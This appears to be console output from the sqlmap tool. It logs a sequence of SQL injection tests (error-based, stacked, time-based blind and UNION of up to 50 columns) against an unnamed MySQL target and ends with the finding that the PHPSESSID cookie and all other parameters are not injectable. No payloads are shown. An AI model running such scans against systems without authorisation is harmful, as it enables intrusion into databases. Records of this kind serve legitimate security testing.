[15:38:01] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE or HAVING clause'
[15:38:05] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE or HAVING clause
(EXTRACTVALUE)'

[15:38:10] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE or HAVING clause
(UPDATEXML)'

[15:38:15] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause'
[15:38:19] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause'
[15:38:23] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace’

[15:38:23] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace
(EXTRACTVALUE)'

[15:38:23] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace
(UPDATEXML)'

[15:38:23] [INFO] testing 'MySQL >= 5.0 error-based - GROUP BY and ORDER BY
clauses'

[15:38:23] [INFO] testing 'MySQL >= 5.1 error-based - GROUP BY and ORDER BY
clauses (EXTRACTVALUE)'

[15:38:23] [INFO] testing 'MySQL >= 5.1 error-based - GROUP BY and ORDER BY
clauses (UPDATEXML)'

[15:38:23] [INFO] testing 'MySQL > 5.0.11 stacked queries'
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[15:38:28] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'

[15:38:33] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'

[15:38:37] [INFO] testing 'MySQL > 5.0.11 AND time-based blind (comment)’
[15:38:42] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query)'
[15:38:47] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query -
comment)’

[15:38:51] [INFO] testing 'MySQL > 5.0.11 OR time-based blind'

[15:38:55] [INFO] testing 'MySQL < 5.0.12 OR time-based blind (heavy query)'
[15:38:59] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'

[15:39:58] [INFO] testing 'MySQL UNION query (random number) - 1 to 10 columns'
[15:40:57] [INFO] testing 'MySQL UNION query (NULL) - 11 to 20 columns'

[15:41:50] [INFO] testing 'MySQL UNION query (random number) - 11 to 20 columns'
[15:42:44] [INFO] testing 'MySQL UNION query (NULL) - 21 to 30 columns'

[15:43:37] [INFO] testing 'MySQL UNION query (random number) - 21 to 30 columns'
[15:44:31] [INFO] testing 'MySQL UNION query (NULL) - 31 to 40 columns'

[15:45:25] [INFO] testing 'MySQL UNION query (random number) - 31 to 40 columns'
[15:46:19] [INFO] testing 'MySQL UNION query (NULL) - 41 to 50 columns'

[15:47:12] [INFO] testing 'MySQL UNION query (random number) - 41 to 50 columns'
[15:48:06] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'

[15:49:04] [INFO] testing 'Generic UNION query (random number) - 1 to 10 columns'
[15:50:03] [INFO] testing 'Generic UNION query (NULL) - 11 to 20 columns'
[15:50:57] [INFO] testing 'Generic UNION query (random number) - 11 to 20
columns'

[15:51:50] [INFO] testing 'Generic UNION query (NULL) - 21 to 30 columns'
[15:52:43] [INFO] testing 'Generic UNION query (random number) - 21 to 30
columns'

[15:53:37] [INFO] testing 'Generic UNION query (NULL) - 31 to 40 columns'
[15:54:31] [INFO] testing 'Generic UNION query (random number) - 31 to 40
columns'

[15:55:25] [INFO] testing 'Generic UNION query (NULL) - 41 to 50 columns'
[15:56:18] [INFO] testing 'Generic UNION query (random number) - 41 to 50
columns'

[15:57:12] [WARNING] Cookie parameter 'PHPSESSID' is not injectable

[15:57:12] [CRITICAL] all parameters appear to be not injectable. Also, you can try to
rerun by providing either a valid --string or a valid --regexp, refer to the user's manual
for details

[*] shutting down at 15:57:1



